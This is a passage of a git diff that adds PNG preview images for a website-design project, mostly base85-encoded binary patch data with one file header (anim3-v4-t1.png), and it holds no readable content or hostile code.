zDk_4u{!uu=yZ#@55n=_fS53>P)CUXU)sTt_(??&f9i+PZAzJ`g#2`@61I9W4Jf zeA*g$Oj;RYHm7c>T3Az4b5Re7x8N@ym&jjdsXkwp5#%2g9bI%U;B_KuCaC~h3poG5 z3JVjHeGl@-TGL{q%lRbL%Re_SN13#rFAUbF8PmkcaA{L#5cVKfZg7x5410zYBu=}_^8)NBP~76A46=wY_q-ea zvmhT&H1^!XuP;v8p3knUPiSeiO;yxb5*4wefJ~;xCZd0MtpDOE(2J>} zUctiZD(J#r0Ne#I1Rxk`q8^C*R^1#;9L=x7bq+Kc9r~g-8z~0^UvyOdd0?lgt!)Q+ zczO9E;HJj?WjPXK2m4D{AgfD1mSMSc=kv4BNB%v4gRwL^XJ8ew-T6ZjdW=*&S->-$ z0fZ9*^d!c)i`Z`~^|Z9K2CXcASeu{!OGv%kJ%ol9_4hwy`CKJ9IynJJy{%p9DFx#h zpgo;mD)QjV(}GZpbq=HLXh*R(2AHs58C7_G%_Cnw;OT&b=mEZY7uoBs{+#;AwQCs7 zNB*>dfoQ~46T;z_6f3}!m^WqHEp@kSPyoSW4Q}O@D*kaP_jhLv*5}NuC8@pKUqTY% zjdGp?@s1u}b#`iIUR7N^`EvFj#?*?6`KM0{jkjP!>KL=cgPK;?E&tXkn~9RY$OK+# za4WT~90rK=o}QjsC0a-Zu-91y)9KXSWborN!1To!7MC!OL1`E2;Q*$8MBL2s``2p= zJ4&Pky)1Et5z-#!O#@HiWD{%DZhv~-Y;c;}F+6NN2Xxti9%w|^(=)hGQ8K zE-uWfw7RFAyYR)Y3kkZ|j+)xcoK>!aeRhBZKqDq+<}Z!K*eWaYjMF3@{4}Il7;oq_;Lzb47o(5TmA8QX7m(aVs4M5TvH%!j4 z*5Vmi>7$aQZ{AopA4$I_aI?2CEX%Ne{VG@`)Oj?ku{P|$J^d?g*)>5e$Qw}zb6@c7 zw(;caxnk}q`?y2Xe*4TbYPP6$Ow7Fhqduj=xw-OM%e{b*2u3?rBeGwMgR-y0|1HOkdPGR z?yKK}Ku8y7XUF>~yA{<{)T~WzjlWswrY=yXrn&)OU@^IBZ132p2g%y>l9LIS^?L8b9`!85ybFywJ|trBCy0LaAu+w`WHhl(yRC?x*x^&GWe%ZIk6q08lL` zwW;kA1e^B3IpTX{{K#(7fzd2Ka^dgATCG|wNe?Y8xZgc>U(K=A&IY`8AZ=}ek?P{= zGI;pH>G$nBJpK+=I<2H>?^{QV`77@8uaUt4Zi|9wbESfr=;%Qqi%)ZefaI#?WCln z)cdJws_H6-K&ttV5AI?@OrrtQf9A51)8IjZ0)1dj00Rv_rk-yjuVtsYfBQ4N3@t4b z>rNXd<+w*`6li?$W8uLs^1OkUvs@#~Y(@g&gz@#;hMmoBQ(`7Q}qhp zl%9L;wD^f_;euBwN;`wKyjf>qYH|EH#I1gNNy*TEE*fM4_IaVz_=}0p+rO$gvMVrT z>0JgPTe-seCf|BCr*PtDL+`J;FUzkw#`<7nDVsLajfB|-Ma(XLT<9F5Q8KW~Z=MIL zY;`V*@Aodo%A#^J23%MWZd5MKMKo`3`Nra{(at>kqHm#UC1;OT@G{uLU%KEgW%Ezw zPAt7&en0i0w{vfJ{9j+c3BC;6MKjMZb+=MXtWeD+-rUj{kZNsM;+&c1r#rgZwrOdO zpcrSTe4C_~3NO?s#ycC5y$#UP;(PBdSeoDB_0k(%7Nc^jF+q{-w9qeq>@wP^XIoKH zLc*hcmX74~@!n2Te>e2Dh`u__i^^4K(CIi@`Jd4b#;fjDOT6#CS0Mid^zt2k1d20h zvclzTla;d7FBJazzC->(XqEi6HI@H;{hu8EX9WM-4FB^48y?X$qGd1eZvzbE|1aSG sb7P1MfdMj^)ExuxWEHl_M{ZHLl1H);zdtDk&M2HY<$SW@m&?EZKLTWlGXMYp literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v4-t1.png b/website-design/previews/anim3-v4-t1.png new file mode 100644 index 0000000000000000000000000000000000000000..9ea10af553595383af8c4ddb77ae4a96a800eacc GIT binary patch literal 16794 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
  • A+D@wjQ};~S{M}0e346ECUR|1kpi}o z64!Y=OpxM?T_}XbNxFk{+2a+4FTBdj%NtAKG?)u&`LIetsBmdwd3kweyTPf*s`7HL zke8J8b+~pmqayBgRRLUnMpAo`|F23)e9Dv6`3catET7c4kOfJP6BsRu1sxJ`FVIi0 zsA)sRm*pRCAQ$g58WXHZp6WX~hFOE5M>CGhuC7lWXiOs+efpNJYi9=-w7UGP_RGfV znD_?|mY05gn_p9ahp<2SVGw2F^4irtiB_)vES0pD;I{}K9vC=92;hesojP?M8}zj5 zjm+HMde^R9U0vmOE!K#{&aN(K7<$g-_OAw-<~l$$nVMfIeY<%p-xABD$MI#*%1Dc0 z*~h3jPJb5KT5_C?kXeFnI}dBLw1$a7qL4qWE%uFCYD9IRPw(-j!ckl$+7nm##!6k}OW!QEaKfl-$mH(48}Yra3ZnBVJ0 z7u_)h-}W>4E_VjCDu{{*=dCheYr(|7hJb~PUnM9bDbMP0*cS!%amAy0g%5 z6K)`$6tm3l1svW>pUC^LL_#3{KI}nXHbPl)MjlYWnFAFSg%Q$-Lq&+L&T4`CN6wE$ zdHI3eo~Wt!ZyTOZVo?%hT@pjAN`Cnuj*pUbc2FRW*?BAAoW&d#az;r>srTpS+BuP3 zF|#u>`wytiupw8NP)mn)TIVdlakp!kIgKyoeV1V2HI%2R3@Fi95U-Mh1AZMe8=jmQzj zqR=5)77(j^$FMzrhfwYkGax+6n(6JG;f9BYKTF8*81rBYKf-YCmBf|e`@@#0T=kOC zgkYMx$<^{}jVOBeqlq*)>+8SAfgp>M)?ekG(XUksbT{R9!>{6Y2&z+(wqxEwj}k@? zXL-JgTo~TfK*^=^dMgLi;onJO77I}vl_=T##MXrzKY45BbFZ9`stzkov%U$mxSB5j zc|db~aT)+L1Oh=OFd1ne&)ZY)A2q`H#5!I-Gj4g*T9?Re@4%Zajls}Sz0-|;`DsLQ z7fjZ#aX@mLUa(moJlsjclUV9(51_R$B7(Pl$9@0H)GK&Fv7}4U%CZ?EX$$`LRZMEJ-NBx|;a9wj^1?!_z$LAb)=7l!@6?pp})epNU-f zgC80gWlDxF=L;RjEM*jkFpCsDTj75jaJkOt1J%{lh9>4f%c829+QV6gz`&7r!d@a- za`1P;Apoj|1bNlVytijCnm^15tV}wOtxJ{m%2p_zND*OX%J9^wtKEhpBO`_9?2l#i z(GbIpaKZcc7p}C{nE+j3!zLniD6|e|$Ce}Whi%Q(b2`t5^wjca!D2jw*CZuc=#OLV zk6!6Eyz77a5^=?`A(Vgo<6N;0WCAVDAA#mPS<>9Z_zP$qpT`1hLWbx}+?Y5qkO0i1 zDs>StJ=7%=Ixjm89ItA+)6|Z0rKJ91f&@&AWCwfSelrIq)Df^P)V8A`?sJsJXDuE6 z25cnPyjCV4i334)l3Jp$wNOL0X=Vb);ZDz!ajvy0;REM^MnWKXeT|Cx`h;~qP|>B9 z199P+L}j`pe|ThsYJG}~oT&so1W)qLq}Ha!Np;yB({E9(mdZ$hmT4{6bg~>6A;Y7R zM1uV6sCBh$v|^$8+ut(XB@a1dk-zaVXFYTMax{<>(wK;aI>j9a%tE%IDyyn$o~7>C zw$Be}?hIdHRHjNx=`xZ|1Gn9tKab!EWYe<$RorW~TdI=u7Z#G&oq%7bVse*x8p`Pz z3~&ONS-{(BNVZ*?*fCT)x{?VrqLj~i^pE$B_w@WP|8bD6*%0A|ji2BJw?2#rcBHgB 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 